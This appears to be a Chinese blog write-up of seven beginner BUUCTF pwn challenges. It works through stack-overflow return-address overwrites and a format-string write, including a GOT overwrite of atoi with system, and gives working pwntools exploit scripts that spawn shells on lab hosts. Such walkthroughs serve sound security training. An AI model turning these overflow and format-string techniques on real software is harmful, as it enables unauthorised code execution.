buuctf pwn入门1

目录

1. test_your_nc(简单nc )

 pwn做题过程

 2. rip(简单栈溢出)

3. warmup_csaw_2016(栈溢出 覆盖Return_Address)

4. ciscn_2019_n_1(栈溢出 浮点数十六进制)

(1) 覆盖v2值

 (2) 利用system("cat /flag");

5. pwn1_sctf_2016(字符逃逸栈溢出 32位)

6.  jarvisoj_level0(栈溢出 )

7. [第五空间2019 决赛]PWN5(格式化字符串写入漏洞)

做法一:格式化字符串漏洞

修改内存

做法二:read将atoi_got改为system_plt

ubuntu 下载 pwntools


1. test_your_nc(简单nc )

下载下来test文件 拖入IDA 说不支持,让用64

在拖入IDA 64中

按下shift+f12,打开string window,

发现/bin/sh

双击/bin/sh, 鼠标点击command,再按键盘X,发现/bin/sh的address在main函数里

 点击option->general,勾选相应选项可方便看代码,具体如下:

变成了一行一行的

 再按F5 发现main函数很简单,就是单纯system函数直接调用了/bin/sh,所以直接nc就行.

 所以我们打开kali

nc node4.buuoj.cn:28180

nc即netcat,也被称为瑞士军刀,其主要用途是建立和监听任意TCP和UDP连接,支持ipv4和ipv6。因此,它可以用来网络调试、端口扫描等等

web打靶场的时候有时候反弹shell用到

nc ip地址 ip端口

ls 发现flag cat flag得到flag

 pwn做题过程

1. 拿到题目附件,将它在对应的操作系统环境下打开(一般来说是ubuntu)。先执行一下,了解一下程序的大致运行结果。
2. checksec命令,了解程序的保护方式。针对不同的保护方式,大致了解题目的难度等级。(萌萌新的题目应该大多是没有任何保护的,但是之后的很多题都会附加很多复杂的保护)
3. 用ida打开题目,对题目进行一个程序逻辑的逆向。
4. 通过逆向找到程序的漏洞点。
5. 思考漏洞利用方式,并开始编写脚本(适当时动态调试辅助脚本编写)。
6. 脚本编写完成后,先在本地尝试getshell。成功的话连接远程拿flag

 2. rip(简单栈溢出)

下载 得到一个无后缀pwn1文件 应该是elf文件

checksec查看文件保护

file 查看文件  是64位的  IDA 64打开

main函数F5查看伪代码之后,得到 发现危险函数gets,可以判断存在栈溢出漏洞

fun函数这里发现 system("/bin/sh");

 

 接下来思路就清晰了,我们需要利用gets函数获取一个长字符串覆盖rip来控制程序流到fun()函数

函数的局部变量会存放在他的栈中,那么在main函数中,我们双击s变量,查看s分配了多少空间

这里可以使用gbd动态调试,也可以简单点直接算

0x0-(-0x0f)=0xf

 是15个字节的空间,也就是在main函数的栈帧中,给s划分了一个15字节的存储空间 偏移量为15

因为是64位的EIF文件,所以rbp是8个字节(基础知识)

CTF PWN基础知识(寄存器、栈、汇编指令、标志位)详解_cl寄存器_游走来回的博客-CSDN博客

那么我们还需要8个自己的数据把Caller’s rbp的数据填满(当然在本题中应该是rbp,因为是64位的系统),这样可以溢出进入Return
Address了,所以接下来我们输入Return
Address(返回地址),也就是说,也就是fun函数的地址,地址我们可以看到是0x401186

from pwn import *p=remote("node4.buuoj.cn",28419) #靶机地址和端口
payload = b'a' * 23 + p64(0x40118A)
#char s的15个字节+RBP的8字节+fun函数入口地址,+1为了堆栈平衡,p64()发送数据时,是发送的字节流,也就是比特流(二进制流)   不+1拿不到 问了问队里大佬,是libc版本问题 2.23就好了
# 也可以直接传入 执行/bin/sh时的地址 ex40118A
p.sendline(payload)
p.interactive()

执行cat /flag 得到flag

3. warmup_csaw_2016(栈溢出 覆盖Return_Address)

ret2system  ret2text

与rip 类似

checksec看一下文件保护模式:

64位小端序文件

IDA64 打开 分析一下

shift+F12 发现 cat flag.txt 跟进查找 在 sub_40060D() 函数里

main() 函数里 看见gets() 函数 存在栈溢出 

计算偏移数

gets函数向v5输入数据,因为gets不限制长度,所以构成溢出,这里的[rbp-40h]表示输入点距离rbp寄存器的偏移为40h,而64位文件 rbp占8个字节。rbp自己还要占用8个偏移,因此从输入点到返回地址的偏移为40h+8h=48h   然后才会覆盖掉 Return Address

覆盖Return Address为 sub_40060D() 函数 地址 0x40060D

poc如下:

from pwn import *p = remote("node4.buuoj.cn",27973)
payload = b"a" * 0x48 + p64(0x040060D) p.sendline(payload)
p.interactive()

4. ciscn_2019_n_1(栈溢出 浮点数十六进制)

checksec查看文件保护

 没有保护机制

IDA 分析一下

 看见 func函数里 存在 gets(&v1); 存在栈溢出

(1) 覆盖v2值

然后进行一个判断 如果 v2==11.28125 就执行 system("cat /flag");

双击func()函数查看汇编代码时,可以看见有一个分支 系统调用

 双击进 dword_4007F4

可以看到 11.28125在内存中的16进制表示为0x41348000

因此 我们只需要计算出 偏移数  溢出覆盖v2为 0x41348000即可

偏移计算

也可以双击v1 v2 进去。v1在var_30  v2在var_4

所以偏移为:0x30-0x04 = 0x2C

from pwn import *p = remote("node4.buuoj.cn",29426) #remote建立远程连接
# p = process("./ciscn_2019_n_1")   本地运行
payload = b"a" * 0x2C + p64(0x41348000)p.sendline(payload)
p.interactive()

 (2) 利用system("cat /flag");

还有一种方法,我们可以 覆盖Return Address 为  if里的 system("cat /flag");地址。 从而跳过判断,直接通过栈溢出让函数返回执行system(“cat /flag”)

这里可以看到 cat /flag的地址为 0x4006BE

poc如下:

from pwn import *p = remote("node4.buuoj.cn",29426)
payload = b"a" * (0x30+0x08) + p64(0x4006BE) 
# v1到rbp的偏移量 0x30 + rbp本身8个字节 + cat /flag的地址 
p.sendline(payload)
p.interactive()

5. pwn1_sctf_2016(字符逃逸栈溢出 32位)

checksec 查看保护程序

file查看文件 32位ELF文件

 导入到 IDA32中 看见vuln()函数,反汇编一下

 发现fgets()函数限制输入32个字节到变量s中

虽然 限制了输入32个字节,但是我们可以看到 在 replace((std::string *)&v3); 这里的relpace函数他会 将 I 替换为 you  1字节变三字节 这里可以逃逸出两个字节(有点类似web里的反序列化逃逸原理)

后面 还会 strcpy(&s, v0); 重新给 s赋值 因此我们可以利用这个 replace 去 栈溢出 覆盖Return Address

偏移计算

 

r为返回地址处 所以偏移量:0x3C + ebp的四个字节  = 0x40 即 64个字节

每个I可以被替换成you,所以输入21个I 和一个 a 就能让栈溢出 再加上要覆盖Return Address的函数地址即可

找危险函数

get_flag()函数里 会执行 system("cat flag.txt");可以得到flag   起始地址为:0x8048F0D

 poc如下:

from pwn import *p = remote("node4.buuoj.cn",27622)
payload = b"I" * 21 + b'a' + p32(0x8048F0D)p.sendline(payload)
p.interactive()

6.  jarvisoj_level0(栈溢出 )

和上五道题一样。。。 无保护程序 找偏移量 找危险函数 溢出覆盖Return Address

checksec 查看文件保护

file 查看文件属性  64位ELF文件

IDA64打开 分析一下

vulnerable_function() 里有一个 buf字符数组,栈里长度 0x80h 但是read读可以读0x200 存在栈溢出

偏移计算

偏移量:0x80 + rbp的8个字节 = 0x88

找危险函数

callsystem()函数这里会执行 /bin/sh

 因此 通过栈溢出让函数返回地址为 callsystem()的起始地址即可

callsystem()的起始地址为:0x400596

7. [第五空间2019 决赛]PWN5(格式化字符串写入漏洞)

 checksec 查看文件保护 没开启 (看别人wp发现都说开启了 canar 难道是我checksec的问题吗)

file查看文件属性 是32位的ELF文件

 后面在ubuntu里执行python脚本时 发现开启了canary

载入IDA32 分析

int __cdecl main(int a1)
{unsigned int v1; // eaxint fd; // ST14_4int result; // eaxint v4; // ecxunsigned int v5; // et1char nptr; // [esp+4h] [ebp-80h]char buf; // [esp+14h] [ebp-70h]unsigned int v8; // [esp+78h] [ebp-Ch]int *v9; // [esp+7Ch] [ebp-8h]v9 = &a1;v8 = __readgsdword(0x14u);setvbuf(stdout, 0, 2, 0);v1 = time(0);srand(v1);fd = open("/dev/urandom", 0);read(fd, &unk_804C044, 4u);printf("your name:");read(0, &buf, 0x63u);printf("Hello,");printf(&buf);  //存在格式化字符串漏洞printf("your passwd:");read(0, &nptr, 0xFu);if ( atoi(&nptr) == unk_804C044 ){puts("ok!!");system("/bin/sh");  //满足条件 则拿到shell}else{puts("fail");}
}

把随机数放入到0x804c044处,用户输入用户名和密码,如果密码和随机数相等 拿到shell

但是因为这个dword_804c044从服务器读入,无法知道其内容,所以使用%n将其数据修改,随后passwd输入相同的数据即可得到shell 

这里有两种办法:

  • 格式化字符串漏洞 利用第一个 read 将 0x804C044 地址改写为一个确定的值,再往密码输入这个值
  • 利用第一个read将atoi_got改为system_plt,再send/bin/sh\x00,使得程序在本该执行atoi的地方执行system("/bin/sh"),从而获得shell (这个还没学到)

做法一:格式化字符串漏洞

我们利用格式化字符串看看 输入的内容在第几位上会被解释成格式化字符串 

首先我们先利用利用AAAA %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x %08x的形式来计算偏移量:

 第十个输出正是 41414141 所以偏移量为10

格式化字符串介绍:

 知道偏移量后,那我们怎么利用 去修改dword_804c044的值呢?

 可参考:格式化字符串漏洞_as1r_p的博客-CSDN博客

 %d - 十进制 - 打印十进制整数
%s - 字符串 - 打印参数地址处的字符串
%x,%X- 十六进制 - 打印十六进制数
%o - 八进制 -打印八进制整形
%c - 字符 - 打印字符
%p - 指针 - 打印指针地址 即void *
%n - 到目前为止所写的字符数

当然,功能也不仅限于控制显示的数据类型,还能控制显示的宽度和队列。
%<正整数n>c 打印宽度为n的字符串(打印长度为n) 

特别要注意的是%n这个格式化字符串,它的功能是将%n之前打印出来的字符个数(四字节)写入参数地址处(赋值给一个变量)。32位的程序,%n取的就是4字节指针,64位取的就是8字节指针。
%hn 写入两个字节
%hhn 写入一个字节
 

关于$符号 

写入:%<数值>c%<正整数>$ <类型>
%44c%5$hn 就是向第 5 个参数写入 44 这个数值。

读取:%<正整数n>$ <数据类型>,指定占位符对应的第n个参数,例如 %8$x 就是以 x 格式读第 8 个参数的值

举例:

printf("%10c%n",65,0x41414141);

打印9个空格加上一个A,所以会往地址0x41414141处写入10(4字节)

printf("%1234c%hhn",65,0x41414141);

因为1234=0x4D2,所以会往地址0x41414141处写入0xD2(1字节)

修改内存

在格式化字符串中 有一个 特殊的格式化控制符 “%n”,"%hn" "%hhn"也可以。%n可以将已经输出的字节个数  写入到 指定的(偏移处的值) 的地址中,配合$直接修改第几个参数来修改想要修改地址的值

 用法:%修改数据c%偏移$n

 因此,我们要更改 0x0804c044地址的值  可以把 0x0804c044 输入到 第十个参数

比如之前我们输入 AAAA 第十个参数值为:41414141  这里我们输入 0x440xc00x040x08 小端序

 然后 后面跟%10%n   (%偏移%n) 可以将字节个数4 写入到 0x0804c044地址 里

 poc如下:

from pwn import *p = remote("node4.buuoj.cn",28357)payload = p32(0x0804c044) + b'%10$n'
# payload = fmtstr_payload(10,{0x804C044:0x4})  fmtstr_payload()是可用于格式化字符串漏洞的函数
#pwntools自带的格式化字符串漏洞payload构建工具——fmtstr_payload
p.recvuntil('your name:')  #与shell进行交互
p.sendline(payload)
p.recvuntil("your passwd:")
p.sendline('4')
p.interactive()

还有一种 不用%n 而是用%hhn 可以逐字节写  可以学习一下思路

from pwn import *io = process("./pwn")#一个p32生成的数据是4个字节,4个一共是16字节
payload = p32(0x804C044) + p32(0x804C045) + p32(0x804C046) + p32(0x804C047)
# 在原本存储随机数的内存地址上逐个写入0x10(十进制16),这样就使原本随机的密码变成已知
payload += "%10$hhn%11$hhn%12$hhn%13$hhn" 
io.sendlineafter("your name:", payload)
io.recvuntil("passwd:")
io.sendline(str(0x10101010))io.interactive()

pwntools也自带的格式化字符串漏洞payload构建工具——fmtstr_payload() 参数是(偏移,{地址:值})

做法二:read将atoi_got改为system_plt

from pwn import *io = process("./pwn")
elf = ELF("./pwn")atoi_got = elf.got['atoi']
sys_plt = elf.plt['system']offset = 10
payload = fmtstr_payload(offset, {atoi_got : sys_plt})io.sendlineafter("name:", payload)
io.sendlineafter("passwd:", "/bin/sh\x00")io.interactive()

参考:BUU_[第五空间2019 决赛]PWN5 - Yic's Blog

ubuntu 下载 pwntools

pip在下载时会有问题,报错: sys.stderr.write(f"ERROR: {exc}")

解决方法:

wget https://bootstrap.pypa.io/pip/3.5/get-pip.py

下载完成后执行下面的命令

python3 get-pip.py 

 pip 下载pwntools

pip install pwntoolspython3 -m pip install --upgrade pwntools -i https://pypi.tuna.tsinghua.edu.cn/simple

安装 pwndbg

git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh

pwntools报错“NameError: name 'process' is not defined”

修改python脚本文件名 不是pwn即可

换更新源

Ubuntu16.4关于apt功能update忽略所有文件问题的解决方案_安装apt-get一直忽略_僚机武士的博客-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/13388.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Linux】什么是文件系统及inode?如何创建软硬链接?软硬链接有什么作用?

inode软硬链接创建软硬链接理解硬链接理解软链接 inode 了解一下文件系统&#xff1a; Linux ext2文件系统&#xff0c;上图为磁盘文件系统图&#xff08;内核内存映像肯定有所不同&#xff09;&#xff0c;磁盘是典型的块设备&#xff0c;硬盘分区被 划分为一个个的block。…

使用MATLAB画SCI论文图

从gcf和gca说起 不论是 Python 绘图还是Matlab绘图&#xff0c;想要获得更好看的图&#xff0c;都会用到这两个单词。 gcf&#xff1a;get current figure&#xff0c;是目标图像的图形句柄对象 gca&#xff1a;get current axes&#xff0c;是目标图像的坐标轴句柄对象 Mat…

基于条件风险价值CVaR的微网动态定价与调度策略(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

el-tab-pane 和el-tooltip及el-tree 组合使用

<el-tabs v-model"groupId" tab-click"handleClick"><el-tab-pane label"全部" name"0"></el-tab-pane><el-tab-pane v-for"items in editableTabs" :key"items.group_id" :name"item…

java项目之美食推荐管理系统(ssm+mysql+jsp)

风定落花生&#xff0c;歌声逐流水&#xff0c;大家好我是风歌&#xff0c;混迹在java圈的辛苦码农。今天要和大家聊的是一款基于ssm的美食推荐管理系统。 开发环境&#xff1a; 后端&#xff1a; 开发语言&#xff1a;Java 框架&#xff1a;ssm&#xff0c;mybatis JDK版…

2.3 Web应用 -1 web 应用概述

2.3 Web应用 -1 web 应用概述 Web与HTTPHTTP协议概述 Web与HTTP World Wide Web: Tim Berners-Lee 网页网页互相链接 网页(Web Page)包含多个对象(objects) 对象&#xff1a;HTML文件、JPEG图片、视频文件、动态脚本等基本HTML文件&#xff1a;包含对其他对象引用的链接 对象的…

【MongoDB】

目录 MongoDB基本简介 MongoDB基本概念 MongoDB和关系数据库的对比 MongoDB数据类型 MongoDB元素命名规则 MongoDB安装部署 MongoDB配置管理 MongoDB服务管理 MongoDB 多实例配置 基本操作 集合 数据备份与恢复 MongoDB复制集集群部署及管理 MongoDB复制集ReplSe…

OPCUA 的历史数据库/聚合服务器的实现细节

进入了AI 大数据时代&#xff0c;无论是工业自动化系统&#xff0c;还是物联网系统&#xff0c;对大数据的采集&#xff0c;存储和分析都十分重要。大数据被称为工业的石油&#xff0c;未来制造业的持续改善离不开大数据。 传统的应用中&#xff0c;历史数据的存储是特定的数据…

Oracle存储过程的使用DEMO(一)

文章目录 Oracle存储过程的使用DEMO&#xff08;一&#xff09;1. Oracle中块的使用2. IF使用2.1 IF...ELSE...2.2 IF嵌套 3. CASE...WHEN...4. LOOP5. WHILE6. FOR Oracle存储过程的使用DEMO&#xff08;一&#xff09; 1. Oracle中块的使用 DECLAREI NUMBER; BEGINSELECT EM…

TPCE260PCIE转PMC载板

TPCE60是一个标准的高度PCI Express版本1.1兼容的模块&#xff0c;提供了一个槽用于安装标准PMC模块&#xff0c;灵活和成本有效的I/O解决方案的各种应用如过程控制、医疗系统、电信和交通控制。 桥接PCI Express x1连接到主机板和PCI总线信号的PMC槽之间是由透明的PCIe到PCI桥…

硬件性能 - 网络瓶颈分析

简介 本文章主要通过Linux命令查看网络信息、判断是否出现网络瓶颈等简单分析方法。其他硬件性能分析如下&#xff1a; 1. 硬件性能 - CPU瓶颈分析 2. 硬件性能 - 掌握内存知识 3. 硬件性能 - 磁盘瓶颈分析 目录 1. 监控命令 sar 2. 带宽利用率 3. 网络延迟 4. 网络连接数 …

云原生之深入解析K8S Istio Gateway服务的架构分析与实战操作

一、概述 Istio 提供一种简单的方式来为已部署的服务建立网络&#xff0c;该网络具有负载均衡、服务间认证、监控、网关等功能&#xff0c;而不需要对服务的代码做任何改动。 istio 适用于容器或虚拟机环境&#xff08;特别是 k8s&#xff09;&#xff0c;兼容异构架构&#x…